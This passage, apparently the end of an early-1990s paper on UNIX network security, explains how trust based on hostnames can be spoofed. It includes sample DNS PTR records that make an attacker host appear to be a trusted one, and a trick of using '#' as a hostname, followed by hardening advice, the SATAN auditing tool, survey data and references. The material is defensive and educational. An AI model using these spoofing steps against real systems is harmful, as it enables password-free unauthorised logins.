  754. far-reaching than what we've covered before; in the context of this
  755. paper we use the word trust whenever there is a situation when a server
  756. (note that any host that allows remote access can be called a server)
  757. can permit a local resource to be used by a client without password
  758. authentication when password authentication is normally required.  In
  759. other words, we arbitrarily limit the discussion to clients in disguise.
  760.  
  761. There are many ways that a host can trust: .rhosts and hosts.equiv files
  762. that allow access without password verification; window servers that
  763. allow remote systems to use and abuse privileges; export files that
  764. control access via NFS, and more.
  765.  
  766. Nearly all of these rely on client IP address to hostname conversion to
  767. determine whether or not service is to be granted.  The simplest method
  768. uses the /etc/hosts file for a direct lookup.  However, today most hosts
  769. use either DNS (the Domain Name Service), NIS, or both for name lookup
  770. service.  A reverse lookup occurs when a server has an IP address (from
  771. a client host connecting to it) and wishes to get the corresponding
  772. client hostname.
  773.  
  774. Although the concept of how host trust works is well understood by most
  775. system administrators, the _dangers_ of trust, and the _practical_
  776. problem it represents, irrespective of hostname impersonation, is one of
  777. the least understood problems we know of on the Internet.  This goes far
  778. beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
  779. systems -- indeed, much of the useful services in UNIX are based on the
  780. concept that well known (to an administrator or user) sites are trusted
  781. in some way.  What is not understood is how networking so tightly binds
  782. security between what are normally considered disjoint hosts.
  783.  
  784. Any form of trust can be spoofed, fooled, or subverted, especially when
  785. the authority that gets queried to check the credentials of the client
  786. is either outside of the server's administrative domain, or when the
  787. trust mechanism is based on something that has a weak form of
  788. authentication; both are usually the case.
  789.  
  790. Obviously, if the host containing the database (either NIS, DNS, or
  791. whatever) has been compromised, the intruder can convince the target
  792. host that s/he is coming from any trusted host; it is now sufficient to
  793. find out which hosts are trusted by the target.  This task is often
  794. greatly helped by examining where system administrators and system
  795. accounts (such as root, etc.) last logged in from.  Going back to our
  796. target, victim.com, you note that root and some other system accounts
  797. logged in from big.victim.com. You change the PTR record for evil.com so
  798. that when you attempt to rlogin in from evil.com to victim.com,
  799. victim.com will attempt to look up your hostname and will find what you
  800. placed in the record.  If the record in the DNS database looks like:
  801.  
  802.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  803.  
  804. And you change it to:
  805.  
  806.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  807.  
  808. then, depending on how naive victim.com's system software is, victim.com
  809. will believe the login comes from big.victim.com, and, assuming that
  810. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  811. able to login without supplying a password.  With NIS, it is a simple
  812. matter of either editing the host database on the NIS master (if this is
  813. controlled by the intruder) or of spoofing or forcing NIS (see
  814. discussion on NIS security above) to supply the target with whatever
  815. information you desire.  Although more complex, interesting, and
  816. damaging attacks can be mounted via DNS, time and space don't allow
  817. coverage of these methods here.
  818.  
  819. Two methods can be used to prevent such attacks.  The first is the most
  820. direct, but perhaps the most impractical.  If your site doesn't use any
  821. trust, you won't be as vulnerable to host spoofing.  The other strategy
  822. is to use cryptographic protocols.  Using the secure RPC protocol (used
  823. in secure NFS, NIS+, etc.) is one method; although it has been "broken"
  824. cryptographically, it still provides better assurance than RPC
  825. authentication schemes that do not use any form of encryption.  Other
  826. solutions, both hardware (smartcards) and software (Kerberos), are being
  827. developed, but they are either incomplete or require changes to system
  828. software.
  829.  
  830. Appendix B details the results of an informal survey taken from a
  831. variety of hosts on the Internet.
  832.  
  833. Protecting the system
  834. ---------------------
  835.  
  836. It is our hope that we have demonstrated that even some of the most
  837. seemingly innocuous services run can offer (sometimes unexpectedly)
  838. ammunition to determined system crackers.  But, of course, if security
  839. were all that mattered, computers would never be turned on, let alone
  840. hooked into a network with literally millions of potential intruders.
  841. Rather than reiterating specific advice on what to switch on or off, we
  842. instead offer some general suggestions:
  843.  
  844. o  If you cannot turn off the finger service, consider installing a
  845. modified finger daemon.  It is rarely necessary to reveal a user's home
  846. directory and the source of last login.
  847.  
  848. o  Don't run NIS unless it's absolutely necessary.  Use NFS as little
  849. as possible.
  850.  
  851. o  Never export NFS filesystems unrestricted to the world. Try to
  852. export file systems read-only where possible.
  853.  
  854. o  Fortify and protect servers (e.g. hosts that provide a service to
  855. other hosts -- NFS, NIS, DNS, whatever.)  Only allow administrative
  856. accounts on these hosts.
  857.  
  858. o  Examine carefully services offered by inetd and the portmapper.
  859. Eliminate any that aren't explicitly needed.  Use Wietse Venema's inetd
  860. wrappers, if for no other reason than to log the sources of connections
  861. to your host.  This adds immeasurably to the standard UNIX auditing
  862. features, especially with respect to network attacks.  If possible, use
  863. the loghost mechanism of syslog to collect security-related information
  864. on a secure host.
  865.  
  866. o  Eliminate trust unless there is an absolute need for it.  Trust is
  867. your enemy.
  868.  
  869. o  Use shadow passwords and a passwd command that disallows poor
  870. passwords.  Disable or delete unused/dormant system or user accounts.
  871.  
  872. o  Keep abreast of current literature (see our suggested reading list and
  873. bibliography at the end of this paper) and security tools; communicate
  874. to others about security problems and incidents.  At minimum, subscribe
  875. to the CERT mailing list and phrack magazine (plus the firewalls mailing
  876. list, if your site is using or thinking about installing a firewall) and
  877. read the usenet security newsgroups to get the latest information on
  878. security problems.  Ignorance is the deadliest security problem we are
  879. aware of.
  880.  
  881. o  Install all vendor security patches as soon as possible, on all of
  882. your hosts.  Examine security patch information for other vendors - many
  883. bugs (rdist, sendmail) are common to many UNIX variants.
  884.  
  885. It is interesting to note that common solutions to security problems
  886. such as running Kerberos or using one-time passwords or digital tokens
  887. are ineffective against most of the attacks we discuss here.  We
  888. heartily recommend the use of such systems, but be aware that they are
  889. _not_ a total security solution -- they are part of a larger struggle to
  890. defend your system.
  891.  
  892. Conclusions
  893. -----------
  894.  
  895. Perhaps none of the methods shown here are surprising; when writing this
  896. paper, we didn't learn very much about how to break into systems.  What
  897. we _did_ learn was, while testing these methods out on our own systems
  898. and that of friendly sites, just how effective this set of methods is
  899. for gaining access to a typical (UNIX) Internet host.  Tiring of trying
  900. to type these in all by hand, and desiring to keep our own systems more
  901. secure, we decided to implement a security tool (SATAN) that attempts to
  902. check remote hosts for at least some of the problems discussed here.
  903. The typical response, when telling people about our paper and our tool
  904. was something on the order of "that sounds pretty dangerous -- I hope
  905. you're not going to give it out to everybody.  But you since you can
  906. trust me, may I have a copy of it?"
  907.  
  908. We never set out to create a cookbook or toolkit of methods and programs
  909. on how to break into systems -- instead, we saw that these same methods
  910. were being used, every day, against ourselves and against friendly
  911. system administrators.  We believe that by propagating information that
  912. normally wasn't available to those outside of the underworld, we can
  913. increase security by raising awareness.  Trying to restrict access to
  914. "dangerous" security information has never seemed to be a very effective
  915. method for increasing security; indeed, the opposite appears to be the
  916. case, since the system crackers have shown little reticence to share
  917. their information with each other.
  918.  
  919. While it is almost certain that some of the information presented here
  920. is new material to (aspiring) system crackers, and that some will use it
  921. to gain unauthorized entrance onto hosts, the evidence presented even by
  922. our ad hoc tests shows that there is a much larger number of insecure
  923. sites, simply because the system administrators don't know any better --
  924. they aren't stupid or slow, they simply are unable to spend the very
  925. little free time that they have to explore all of the security issues
  926. that pertain to their systems.  Combine that with no easy access to this
  927. sort of information and you have poorly defended systems.  We (modestly)
  928. hope that this paper will provide badly-needed data on how systems are
  929. broken into, and further, to explain _why_ certain steps should be taken
  930. to secure a system.  Knowing why something is a problem is, in our
  931. opinion, the real key to learning and to making an informed, intelligent
  932. choice as to what security really means for your site.
  933.  
  934. ----
  935.  
  936. Appendix A:
  937.  
  938. SATAN (Security Analysis Tool for Auditing Networks)
  939.  
  940. Originally conceived some years ago, SATAN is actually the prototype of
  941. a much larger and more comprehensive vision of a security tool.  In its
  942. current incarnation, SATAN remotely probes and reports various bugs and
  943. weaknesses in network services and windowing systems, as well as
  944. detailing as much generally useful information as possible about the
  945. target(s).  It then processes the data with a crude filter and what
  946. might be termed an expert system to generate the final security
  947. analysis.  While not particularly fast, it is extremely modular and easy
  948. to modify.
  949.  
  950. SATAN consists of several sub-programs, each of which is an executable
  951. file (perl, shell, compiled C binary, whatever) that tests a host for a
  952. given potential weakness.  Adding further test programs is as simple as
  953. putting an executable into the main directory with the extension ".sat";
  954. the driver program will automatically execute it.  The driver generates
  955. a set of targets (using DNS and a fast version of ping together to get
  956. "live" targets), and then executes each of the programs over each of the
  957. targets.  A data filtering/interpreting program then analyzes the
  958. output, and lastly a reporting program digests everything into a more
  959. readable format.
  960.  
  961. The entire package, including source code and documentation, will be
  962. made freely available to the public, via anonymous ftp and by posting it
  963. to one of the numerous source code groups on the Usenet.
  964.  
  965. ----
  966.  
  967. Appendix B:
  968.  
  969. An informal survey conducted on about a dozen Internet sites
  970. (educational, military, and commercial, with over 200 hosts and 40000
  971. accounts) revealed that on the average, close to 10 percent of a site's
  972. accounts had .rhosts files.  These files averaged six trusted hosts
  973. each; however, it was not uncommon to have well over one hundred entries
  974. in an account's .rhosts file, and on a few occasions, the number was
  975. over five hundred!  (This is not a record one should be proud of
  976. owning.)  In addition, _every_ site directly on the internet (one site
  977. was mostly behind a firewall) trusted a user or host at another site --
  978. thus, the security of the site was not under the system administrators
  979. direct control.  The larger sites, with more users and hosts, had a
  980. lower percentage of users with .rhosts files, but the size of .rhosts
  981. files increased, as well as the number of trusted off-site hosts.
  982.  
  983. Although it was very difficult to verify how many of the entries were
  984. valid, with such hostnames such as "Makefile", "Message-Id:", and
  985. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  986. question the wisdom of putting a site's security in the hands of its
  987. users.  Many users (especially the ones with larger .rhosts files)
  988. attempted to put shell-style comments in their .rhosts files, which most
  989. UNIX systems attempt to resolve as valid host names.  Unfortunately, an
  990. attacker can then use the DNS and NIS hostname spoofing techniques
  991. discussed earlier to set their hostname to "#" and freely log in.  This
  992. puts a great many sites at risk (at least one major vendor ships their
  993. systems with comments in their /etc/hosts.equiv files.)
  994.  
  995. You might think that these sites were not typical, and, as a matter of
  996. fact, they weren't.  Virtually all of the administrators knew a great
  997. deal about security and write security programs for a hobby or
  998. profession, and many of the sites that they worked for did either
  999. security research or created security products.  We can only guess at
  1000. what a "typical" site might look like.
  1001.  
  1002. ----
  1003.  
  1004. Appendix C:
  1005.  
  1006. After receiving mail from a site that had been broken into from one of
  1007. our systems, an investigation was started.  In time, we found that the
  1008. intruder was working from a list of ".com" (commercial) sites, looking
  1009. for hosts with easy-to steal password files.  In this case,
  1010. "easy-to-steal" referred to sites with a guessable NIS domainname and an
  1011. accessible NIS server.  Not knowing how far the intruder had gotten, it
  1012. looked like a good idea to warn the sites that were in fact vulnerable
  1013. to password file theft.  Of the 656 hosts in the intruder's hit list, 24
  1014. had easy-to-steal password files -- about one in twenty-five hosts!  One
  1015. third of these files contained at least one password-less account with
  1016. an interactive shell.  With a grand total of 1594 password-file entries,
  1017. a ten-minute run of a publically-available password cracker (Crack)
  1018. revealed more than 50 passwords, using nothing but a low-end Sun
  1019. workstation.  Another 40 passwords were found within the next 20
  1020. minutes; and a root password was found in just over an hour. The result
  1021. after a few days of cracking: five root passwords found, 19 out of 24
  1022. password files (eighty percent) with at least one known password, and
  1023. 259 of 1594 (one in six) passwords guessed.
  1024.  
  1025. ----
  1026.  
  1027. Appendix D:
  1028.  
  1029. How to get some free security resources on the Internet
  1030.  
  1031. Mailing lists:
  1032.  
  1033. o  The CERT (Computer Emergency Response Team) advisory mailing list.
  1034. Send e-mail to cert@cert.org, and ask to be placed on their mailing
  1035. list.
  1036.  
  1037. o  The Phrack newsletter.  Send an e-mail message to
  1038. phrack@well.sf.ca.us and ask to be added to the list.
  1039.  
  1040. o  The Firewalls mailing list.  Send the following line to
  1041. majordomo@greatcircle.com:
  1042.  
  1043.     subscribe firewalls
  1044.  
  1045. o  Computer Underground Digest.  Send e-mail to
  1046. tk0jut2@mvs.cso.niu.edu, asking to be placed on the list.
  1047.  
  1048. Free Software:
  1049.  
  1050. COPS (Computer Oracle and Password System) is available via anonymous
  1051. ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+.
  1052.  
  1053. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl,
  1054. in pub/security.
  1055.  
  1056. Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
  1057.  
  1058. TAMU is a UNIX auditing tool that is part of a larger suite of excellent
  1059. tools put out by a group at the Texas A&M University.  They can be
  1060. gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
  1061.  
  1062. Sources for ftpd and many other network utilities can be found in
  1063. ftp.uu.net, in packages/bsd-sources.
  1064.  
  1065. Source for ISS (Internet Security Scanner), a tool that remotely scans
  1066. for various network vulnerabilities, is available via anonymous ftp from
  1067. ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
  1068.  
  1069. Securelib is available via anonymous ftp from ftp.uu.net, in
  1070. usenet/comp.sources.misc/volume36/securelib.
  1071.  
  1072. The latest version of berkeley sendmail is available via anonymous ftp
  1073. from ftp.cs.berkeley.edu, in ucb/sendmail.
  1074.  
  1075. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
  1076. ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
  1077.  
  1078. ----
  1079.  
  1080. Bibliography:
  1081.  
  1082. Baldwin, Robert W., Rule Based Analysis of Computer Security,
  1083. Massachusetts Institute of Technology, June 1987.
  1084.  
  1085. Bellovin, Steve, Using the Domain Name System for System Break-ins,
  1086. 1992 (unpublished).
  1087.  
  1088. Massachusetts Institute of Technology, X Window System Protocol,
  1089. Version 11, 1990.
  1090.  
  1091. Shimomura, Tsutomu, private communication.
  1092.  
  1093. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  1094.  
  1095. ----
  1096.  
  1097. Suggested reading:
  1098.  
  1099. Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", 
  1100. Computer Communication Review 19 (2), 1989; a comment by Stephen
  1101. Kent appears in volume 19 (3), 1989.
  1102.  
  1103. Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security",
  1104. O'Reilly and Associates, Inc., 1992.
  1105.  
  1106. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
  1107. Study: Network Information Service", Computer Communication Review
  1108. 22 (5) 1992.
  1109.  
  1110. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume
  1111. Four, Issue Forty-Three, File 14 of 27.
  1112.  
  1113. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept
  1114. 1993.
  1115.  
  1116. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
  1117. Protocal", Purdue University, August 1993.
  1118.  
  1119. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM
  1120. 27 (8), 1984.
  1121.